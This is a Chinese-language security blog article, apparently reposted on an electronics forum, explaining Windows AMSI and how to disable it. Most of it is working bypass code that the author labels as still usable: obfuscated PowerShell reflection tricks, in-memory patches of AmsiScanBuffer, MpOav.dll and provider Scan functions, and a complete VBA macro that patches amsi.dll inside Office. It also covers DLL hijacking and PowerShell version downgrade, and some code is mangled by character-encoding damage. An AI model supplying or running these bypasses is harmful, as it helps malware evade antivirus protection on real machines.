0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

什么是AMSI?AMSI繞過原理與實踐

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 2023-02-24 10:42 ? 次閱讀

1.什么是AMSI

AMSI全稱(Antimalware Scan Interface),反惡意軟件掃描接口

反惡意軟件掃描接口是允許應(yīng)用程序與反惡意軟件產(chǎn)品集成的標準

例如,在可編寫腳本的應(yīng)用程序中,當腳本準備好提供給腳本引擎時,應(yīng)用程序可以調(diào)用Windows AMSI API,請求在執(zhí)行之前掃描內(nèi)容。

AMSI有效的原因是,無論代碼經(jīng)過多么復(fù)雜的模糊處理和混淆,當腳本需要在腳本宿主中運行時,都必須是明文未經(jīng)混淆的代碼形式執(zhí)行。比如powershell代碼,無論經(jīng)過多復(fù)雜的模糊處理或者編碼(比如Base64),但是當需要執(zhí)行powershell代碼是必須要解碼之后符合powershell代碼規(guī)范才能執(zhí)行。

2.AMSI架構(gòu)

任何應(yīng)用程序(消費者)都可以請求掃描內(nèi)容

任何安全供應(yīng)商(供應(yīng)商)都可以注冊以接收掃描請求

操作系統(tǒng)是中介程序amsi.dll,必須由任何受amsi保護的應(yīng)用程序?qū)?/p>

e35ec6be-b37c-11ed-bfe3-dac502259ad0.png

3.受AMSI影響的產(chǎn)品

PowerShell (>2.0)

JavaScript

VBScript

VBA (office macro)

WMI

User Account Control (UAC)elevations

Excel 4.0 macros

Volume shadow copy operations

.NET in-memory assembly loads

4.AMSI函數(shù)

語法參數(shù)等詳細信息可以查看微軟官方文檔

函數(shù)名 作用
AmsiCloseSession 關(guān)閉由 AmsiOpenSession 打開的會話。
AmsiInitialize 初始化 AMSI API。
AmsiNotifyOperation 向反惡意軟件提供程序發(fā)送任意操作的通知。
AmsiOpenSession 打開可在其中關(guān)聯(lián)多個掃描請求的會話。
AmsiResultIsMalware 確定掃描結(jié)果是否指示應(yīng)阻止內(nèi)容。
AmsiScanBuffer 掃描緩沖區(qū)中的內(nèi)容中尋找惡意軟件。
AmsiScanString 掃描字符串中的惡意軟件。
AmsiUninitialize 刪除 AmsiInitialize最初打開的 AMSI API 實例。

5.禁用AMSI

斷開AMSI鏈條中的任何一個環(huán)節(jié)

e3bba032-b37c-11ed-bfe3-dac502259ad0.png

5.1.應(yīng)用程序側(cè)的Unhook

各種應(yīng)用程序是通過AMSI這個接口被檢測的,可以通過斷開某個應(yīng)用程序(比如powershell)到AMSI的路線來使這個應(yīng)用程序(比如powershell)不被AMSI掃描,從而繞過AMSI。

取決于受AMSI保護的應(yīng)用程序如何使用AMSI,了解應(yīng)用程序的工作原理,使其在不調(diào)用AmsiScanBuffer的情況下執(zhí)行代碼。

e3f20870-b37c-11ed-bfe3-dac502259ad0.png

5.1.1使用反射

首先了解powershell是如何調(diào)用AMSI的

e40a96f6-b37c-11ed-bfe3-dac502259ad0.png

powershell可以通過反射破壞Amsi的初始化相關(guān)對象(amsiInitFailed、amsiSession、amsiContext),使其不能正常初始化,從而不對當前進程進行掃描。

(這是2016年提出的概念腳本,現(xiàn)在AMSI會識別并攔截了)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null,$null);

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext", "NonPublic,Static").SetValue($null, [IntPtr]$mem)

改變上面的第一個腳本,使用base64繞過(此腳本也已經(jīng)失效)

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

再次修改腳本,全部使用base64繞過(目前可用)

function b64decode {
param ($encoded)
$decoded = $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
return$decoded
}
$1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=")
$2 = b64decode("YW1zaUluaXRGYWlsZWQ=")
$3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==")
[Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)

最終繞過AMSI效果如下:

e42c0dd6-b37c-11ed-bfe3-dac502259ad0.png

(同樣有效的腳本)

$w = 'System.Management.Automation.A';$c= 'si';$m= 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}'-f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed'-f $c),'NonPublic,Static')
$field.SetValue($null,$true)

5.2.patch AMSI.DLL代碼

AMSI的一個主要組件被實現(xiàn)為DLL,該DLL被加載到每個受AMSI保護的進程中,此DLL充當托管PowerShell代碼和COM反惡意軟件提供程序之間的連接器。因此通過修補AMSI.DLL的代碼數(shù)據(jù)部分,攻擊者可以破壞AMSI鏈。

5.2.1patch AmsiScanBuffer函數(shù)

AmsiScanBuffer()函數(shù)掃描充滿惡意軟件內(nèi)容的緩沖區(qū),攻擊者可以修補AmsiScanBuffer的任何部分(或其調(diào)用的其他代碼片段),并根據(jù)其意愿使其返回AMSI_RESULT值。

e443b684-b37c-11ed-bfe3-dac502259ad0.png

(下面示例代碼目前可用)

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am"+ "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary,"Amsi"+ "Scan"+ "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) #E_INVALIDARG
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

為什么$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)?

這是因為在64位下HRESULT:0x80070057 (E_INVALIDARG)的字節(jié)碼是0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3。而E_INVALIDARG代表傳入的參數(shù)之一無效。當AmsiScanBuffer因為參數(shù)錯誤而導(dǎo)致返回代碼是E_INVALIDARG時,實際掃描結(jié)果為0即AMSI_RESULT_CLEAN。

5.2.2patch AMSI Context 結(jié)構(gòu)體

AMSI Context 結(jié)構(gòu)體在AmsiInitialize例程期間初始化,存儲在AMSI保護的進程內(nèi)存中,可以通過搜索“AMSI”簽名在內(nèi)存中找到AMSI Context 結(jié)構(gòu)體或找到指向它的全局指針,覆蓋此結(jié)構(gòu)將導(dǎo)致AmsiScanBuffer失效。

5.3.COM Server劫持

AMSI提供程序通過在HKLMSoftwareClassesCLSID中創(chuàng)建CLSID條目并在HKLMSSoftwareMicrosoftAMSIproviders中注冊相同的CLSID來注冊自己。當AMSI在主機進程中初始化時,它將枚舉Providers注冊表項中列出的每個CLSID,并通過導(dǎo)入InProcServer32子項中的DLL來初始化COM對象。

e461b378-b37c-11ed-bfe3-dac502259ad0.png

IAntimalwareProvider是構(gòu)成AMSI主要關(guān)鍵的接口。想要提供反惡意軟件服務(wù)的每個AMSI提供程序都需要實現(xiàn)lAntimalwareProvider COM接口。

劫持AMSI提供程序COM服務(wù)器可能導(dǎo)致繞過AMSI,而且可通過注冊表監(jiān)控輕松檢測。

e4973f34-b37c-11ed-bfe3-dac502259ad0.png

5.4.patch AMSI提供程序

這種方法將導(dǎo)致AMSI初始化過程失敗,從而破壞AMSI鏈。通過修補amsi.dll區(qū)域外的非受監(jiān)控內(nèi)存來完成

為了理解它,讓我們深入到AMSI內(nèi)部

e4cfb4ea-b37c-11ed-bfe3-dac502259ad0.png

AMSI Initialization

任何想要使用AMSI服務(wù)的提供商都必須調(diào)用Amsilnitialize函數(shù),用信息填充HAMSICONTEXT。下面是簡化的代碼

e4f42bae-b37c-11ed-bfe3-dac502259ad0.png

我們會破壞一些不太直觀的東西來保護提供程序本身,修補提供程序的DLL中DllGetClassObject函數(shù)的序言字節(jié),并干擾AMSI的初始化過程。

AmsiUninitialize

每個使用AMSI的應(yīng)用程序都有一個代碼,用于取消初始化AMSI,那就是AmsiUninitialize函數(shù)。在PowerShell中,我們可以使用反射來調(diào)用此代碼。在AmsiUtils類中聲明一個名為Uninitialize()的函數(shù),為我們?nèi)∠跏蓟疉MSI。

5.4.1Patch Microsoft MpOav.dll

基于此原理可以得到一個bypass腳本,下面是一個示例patch Microsoft提供程序的DLL(MpOav.DLL),可以通過適當?shù)牟樵冏员眄梺聿檎宜刑峁┏绦虻腄LL。

(下面示例代碼目前仍然有效)

$APIs = @"
using System;
using System.Runtime.InteropServices;
public class APIs {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $APIs
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$LoadLibrary = [APIs]::LoadLibrary("MpOav.dll")
$Address = [APIs]::GetProcAddress($LoadLibrary, "DllGetClassObject")
$p = 0
[APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p) 
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

$object = [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils')
$Uninitialize = $object.GetMethods("NonPublic,static") | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($object,$null)

5.4.2替換Add-Type Patch Microsoft MpOav.dll

Add-Type會將代碼寫入磁盤上的臨時文件,然后使用csc.exe 將此代碼編譯為二進制文件,落地到磁盤上可能導(dǎo)致AV檢測

解決方案:反射

(下面的示例代碼是使用反射來代替Add-Type)

functionGet-ProcAddress{
Param(
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)

# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And$_.Location.Split('\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return$GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
functionGet-DelegateType
{
Param
(
[OutputType([Type])]

[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),

[Parameter( Position = 1)]
[Type]
$ReturnType = [Void]
)

$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')

Write-Output $TypeBuilder.CreateType()
}
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr,
$LoadLibraryDelegate)
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr,
$GetProcAddressDelegate)
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr,
$VirtualProtectDelegate)

$hModule = $LoadLibrary.Invoke("MpOav.dll")
$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule,
"DllGetClassObject")
$p = 0
$VirtualProtect.Invoke($DllGetClassObjectAddress, [uint32]6, 0x40, [ref]$p) 
$ret_minus = [byte[]] (0xb8, 0xff, 0xff, 0xff, 0xff, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($ret_minus, 0, $DllGetClassObjectAddress, 6)
$object = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls')
$Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($object,$null)

5.4.3掃描攔截

我們可以攔截AMSIs掃描過程而不是初始化(如經(jīng)典AmsiScanBuffer patch代碼,可以不需要接觸amsi.dl就可以完成)

AmsiScanBuffer為每個注冊的AMSI提供程序調(diào)用IAntimalwareProvider::Scan() 如果提供程序返回的結(jié)果不是AMSI_RESULT_NOT_DETECTED AMSI_RESULT_CLEAN,則掃描將停止并返回結(jié)果,而不調(diào)用其余提供程序,比如:AmsiScanBuffer、CAmsiBufferStream、CAmsiAntimalware::Scan。

所以需要找到提供商的掃描函數(shù)

調(diào)用AmsiInitialize將為我們生成一個新的HAMSICONTEXT,然后將它指向提供程序DLL中的相同掃描函數(shù),我們可以修補每個提供商的 scan函數(shù),所以它將返回而不填寫AMSI_RESULT(將保持AMSI_RESULT_CLEAN)。

(下面的示例代碼目前仍然可用)

$Apis = @"
using System;
using System.Runtime.InteropServices;
public class Apis {
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("amsi")]
public static extern int AmsiInitialize(string appName, out Int64 context);
}
"@
Add-Type $Apis

$ret_zero = [byte[]] (0xb8, 0x0, 0x00, 0x00, 0x00, 0xC3)
$p = 0; $i = 0
$SIZE_OF_PTR = 8
[Int64]$ctx = 0

[Apis]::AmsiInitialize("MyScanner", [ref]$ctx)
$CAmsiAntimalware = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$ctx, 16)
$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64)

# Loop through all the providers
while($AntimalwareProvider -ne 0)
{
# Find the provider's Scan function
$AntimalwareProviderVtbl = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProvider)
$AmsiProviderScanFunc = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProviderVtbl, 24)

# Patch the Scan function
Write-host "[$i] Provider's scan function found!"$AmsiProviderScanFunc
[APIs]::VirtualProtect($AmsiProviderScanFunc, [uint32]6, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy($ret_zero, 0, [IntPtr]$AmsiProviderScanFunc, 6)

$i++
$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64+ ($i*$SIZE_OF_PTR))
}

5.5 更多AMSI bypass技術(shù)

5.5.1 使用PowerShell版本2

切換powershell版本:powershell -version 2

e52c9b9c-b37c-11ed-bfe3-dac502259ad0.png

在腳本中:在腳本開頭加入#requires -version 2

這樣如果可以使用2.0,腳本會以2.0執(zhí)行,如果不能,會按照當前powershell版 本執(zhí)行

5.5.3 amsi.dll劫持

LoadLibrary函數(shù)導(dǎo)入dll的時候沒有使用絕對路徑,因此程序會首先在當前目錄下尋找dll,因此可以在 powershell.exe同目錄下(C:WindowsSystem32WindowsPowerShellv1.0)放一個偽造amsi.dll,就可以實現(xiàn)DLL劫持,而不會調(diào)用系統(tǒng)的amsi.dll(C:WindowsSystem32asmi.dll)

dll導(dǎo)入優(yōu)先級如下:

進程對應(yīng)的應(yīng)用程序所在目錄
系統(tǒng)目錄(通過 GetSystemDirectory 獲?。?16位系統(tǒng)目錄
Windows目錄(通過 GetWindowsDirectory 獲?。?當前目錄
PATH環(huán)境變量中的各個目錄

5.5.4 宏代碼繞過AMSI

詳細說明可查閱:https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/

Private DeclarePtrSafe FunctionGetProcAddress Lib "kernel32"(ByVal hModule AsLongPtr, ByVal lpProcName AsString) AsLongPtr
PrivateDeclarePtrSafe FunctionLoadLibrary Lib "kernel32"Alias"LoadLibraryA"(ByVal lpLibFileName AsString) AsLongPtr
PrivateDeclarePtrSafe FunctionVirtualProtect Lib "kernel32"(lpAddress AsAny, ByVal dwSize AsLongPtr, ByVal flNewProtect AsLong, lpflOldProtect AsLong) AsLong
PrivateDeclarePtrSafe Sub ByteSwapper Lib "kernel32.dll"Alias"RtlFillMemory"(Destination AsAny, ByVal LengthAsLong, ByVal Fill AsByte)
DeclarePtrSafe Sub Peek Lib "msvcrt"Alias"memcpy"(ByRef pDest AsAny, ByRef pSource AsAny, ByVal nBytes AsLong)
PrivateDeclarePtrSafe FunctionCreateProcess Lib "kernel32"Alias"CreateProcessA"(ByVal lpApplicationName AsString, ByVal lpCommandLine AsString, lpProcessAttributes AsAny, lpThreadAttributes AsAny, ByVal bInheritHandles AsLong, ByVal dwCreationFlags AsLong, lpEnvironment AsAny, ByVal lpCurrentDriectory AsString, lpStartupInfo AsSTARTUPINFO, lpProcessInformation AsPROCESS_INFORMATION) AsLong
PrivateDeclarePtrSafe FunctionOpenProcess Lib "kernel32.dll"(ByVal dwAccess AsLong, ByVal fInherit AsInteger, ByVal hObject AsLong) AsLong
PrivateDeclarePtrSafe FunctionTerminateProcess Lib "kernel32"(ByVal hProcess AsLong, ByVal uExitCode AsLong) AsLong
PrivateDeclarePtrSafe FunctionCloseHandle Lib "kernel32"(ByVal hObject AsLong) AsLong
PrivateTypePROCESS_INFORMATION
hProcess AsLong
hThread AsLong
dwProcessId AsLong
dwThreadId AsLong
EndType

PrivateTypeSTARTUPINFO
cb AsLong
lpReserved AsString
lpDesktop AsString
lpTitle AsString
dwX AsLong
dwY AsLong
dwXSize AsLong
dwYSize AsLong
dwXCountChars AsLong
dwYCountChars AsLong
dwFillAttribute AsLong
dwFlags AsLong
wShowWindow AsInteger
cbReserved2 AsInteger
lpReserved2 AsLong
hStdInput AsLong
hStdOutput AsLong
hStdError AsLong
EndType

Const CREATE_NO_WINDOW = &H8000000
Const CREATE_NEW_CONSOLE = &H10

FunctionLoadDll(dll AsString, func AsString) AsLongPtr

Dim AmsiDLL AsLongPtr

AmsiDLL = LoadLibrary(dll)
LoadDll = GetProcAddress(AmsiDLL, func)

EndFunction

FunctionGetBuffer(LeakedAmsiDllAddr AsLongPtr, TraverseOffset AsInteger) AsString

Dim LeakedBytesBuffer AsString
Dim LeakedByte AsLongPtr
Dim TraverseStartAddr AsLongPtr

OnErrorResumeNext

TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset

Dim i AsInteger
Fori = 0ToTraverseOffset
Peek LeakedByte, ByVal (TraverseStartAddr + i), 1

IfLeakedByte < 16?Then
????????FixedByteString = "0"?& Hex(LeakedByte)
????????LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString
????Else
????????LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte)
????End?If
Next?i
?
GetBuffer = LeakedBytesBuffer
?
End?Function
?
Function?FindPatchOffset(LeakedAmsiDllAddr As?LongPtr, TraverseOffset As?Integer, InstructionInStringOffset As?Integer) As?LongPtr
?
Dim memOffset As?Integer
?
memOffset = (InstructionInStringOffset - 1) / 2
FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset
?
End?Function
?
Sub x64_office()
?
Dim LeakedAmsiDllAddr As?LongPtr
?
Dim ScanBufferMagicBytes As?String
Dim ScanStringMagicBytes As?String
Dim LeakedBytesBuffer As?String
Dim AmsiScanBufferPatchAddr As?LongPtr
Dim AmsiScanStringPatchAddr As?LongPtr
Dim TrvOffset As?Integer
?
Dim InstructionInStringOffset As?Integer
Dim Success?As?Integer
?
ScanBufferMagicBytes = "4C8BDC49895B08"
ScanStringMagicBytes = "4883EC384533DB"
TrvOffset = 352
Success?= 0
?
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")
?
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
?
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If?InstructionInStringOffset = 0?Then
????' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
????AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
?
????Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90")
????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3")
????Success = Success + 1
End If
?
?
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
????' MsgBox "We didn't find the scanstring magicbytes :/"
Else
????AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
?
????Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
????ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
????ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3")
????Success = Success + 1
End If
?
If Success = 2 Then
????Call CallMe
End If
?
End Sub
?
Sub x32_office()
?
Dim LeakedAmsiDllAddr As LongPtr
?
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
?
Dim InstructionInStringOffset As Integer
Dim Success As Integer
?
ScanBufferMagicBytes = "8B450C85C0745A85DB"
ScanStringMagicBytes = "8B550C85D27434837D"
TrvOffset = 300
Success = 0
?
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")
?
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
?
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
????'?MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
????AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
?
????Debug.Print Hex(AmsiScanBufferPatchAddr)
?
????Result?= VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H"?& "90")
????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H"?& "31")
????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 2), 1, Val("&H"?& "C0")
????Success?= Success?+ 1
End?If
?
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If?InstructionInStringOffset = 0?Then
????' MsgBox "We didn't find the scanstring magicbytes :/"
Else
????AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
?
????Debug.Print Hex(AmsiScanStringPatchAddr)
?
????Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
????ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
????ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "31")
????ByteSwapper ByVal (AmsiScanStringPatchAddr + 2), 1, Val("&H" & "D2")
????Success = Success + 1
End If
?
If Success = 2 Then
????Call CallMe
End If
?
End Sub
?
Sub TestOfficeVersion()
?
#If Win64 Then
????Call x64_office
#ElseIf Win32 Then
????Call x32_office
#End If
?
End Sub
?
Sub CallMe()
?????
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim lSuccess As Long
Dim lRetValue As Long
?
lSuccess = CreateProcess(sNull, "calc.exe", ByVal 0&, ByVal 0&, 1&, CREATE_NEW_CONSOLE, ByVal 0&, sNull, sInfo, pInfo)
?
lRetValue = CloseHandle(pInfo.hThread)
lRetValue = CloseHandle(pInfo.hProcess)
?
End Sub

6. 總結(jié)

powershell繞過方法不適合mimikatz,可以執(zhí)行powershell版的mimikatz,但是會被殺毒軟件(defender等)查殺。

e5410582-b37c-11ed-bfe3-dac502259ad0.png

由于AMSI.DLL和提供程序的DLL加載到潛在攻擊者所在的相同內(nèi)存空間,因此破壞操作更容易。

AMSI提供程序的內(nèi)存以及AMSI.dll內(nèi)存空間應(yīng)受到保護

AMSI的Un-initialization可能會讓我們找到通過干擾AMSI初始化過程來禁用AMSI的新方法,一種不同于當前干擾AMSI掃描過程的技術(shù)。






審核編輯:劉清

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • dll
    dll
    +關(guān)注

    關(guān)注

    0

    文章

    114

    瀏覽量

    45266
  • VBA
    VBA
    +關(guān)注

    關(guān)注

    0

    文章

    16

    瀏覽量

    11880
  • Com
    Com
    +關(guān)注

    關(guān)注

    1

    文章

    107

    瀏覽量

    40533
  • uac
    uac
    +關(guān)注

    關(guān)注

    0

    文章

    9

    瀏覽量

    4092

原文標題:AMSI繞過原理與實踐

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    CYW4373減小固件大小并繞過固件下載之后,WIFI無法啟動怎么解決?

    我正在使用 airoc-wi-fi-bluetooth-stm32 stm 擴展包中的 wifi_nextxduo 示例代碼。 我喜歡減小固件大小,繞過每次下載固件。 但是在我減小固件大小并繞過固件
    發(fā)表于 03-01 08:32

    NvFBCCuda捕獲可以繞過teamviewer嗎?

    連接并捕獲,它就可以正常工作。我有什么想法可以繞過teamviewer?謝謝以上來自于谷歌翻譯以下為原文Hi all I have this M60 Grid setup, with the GPU
    發(fā)表于 09-17 14:30

    怎么繞過內(nèi)部耦合器

    問候,我一直試圖通過繞過測試端口的內(nèi)部耦合器來提高我的N5230C PNA靈敏度。為實現(xiàn)這一目標,我直接訪問了內(nèi)部微波硬件配置,并通過循環(huán)器路由信號。請參閱附件。我沒有達到更好的靈敏度,但是我的測量
    發(fā)表于 10-22 16:14

    Timer0溢出周期有辦法繞過

    嗨,PIC16F1937中的Time0模塊是一個8位的計數(shù)器。這意味著要發(fā)生溢出,需要2 ^ 8(256)個指令周期。有沒有辦法繞過這256個指令周期?改為200個周期。謝謝 以上來自于百度翻譯
    發(fā)表于 10-29 11:28

    如何通過PSOC5LP繞過數(shù)字BISS信號?

    哈羅社區(qū)我目前試圖繞過一個數(shù)字信號槽PSOC5。我附加了一個圖像來清除配置。引腳2和4將外部BISS接口的時鐘信號設(shè)置為2 MHz,引腳3和6將傳輸數(shù)據(jù)。引腳2和3連接到外部Biss
    發(fā)表于 09-06 07:43

    如何才能繞過這個安裝障礙?

    我已經(jīng)多次嘗試在我的XP SP3框上安裝這個包,并且在我被告知安裝完成的地方,我的下一個點擊帶來了一條消息,告訴我沒有安裝更新管理器。安裝顯然終止,沒有圖標或快捷方式被創(chuàng)建,保存在“開始菜單”中出現(xiàn)的“CySuther為PSoC設(shè)計器5.4”。我怎樣才能繞過這個障礙?
    發(fā)表于 09-17 06:22

    HAL在 * .hpp 和 * .cpp文件中不起作用,可以繞過嗎?

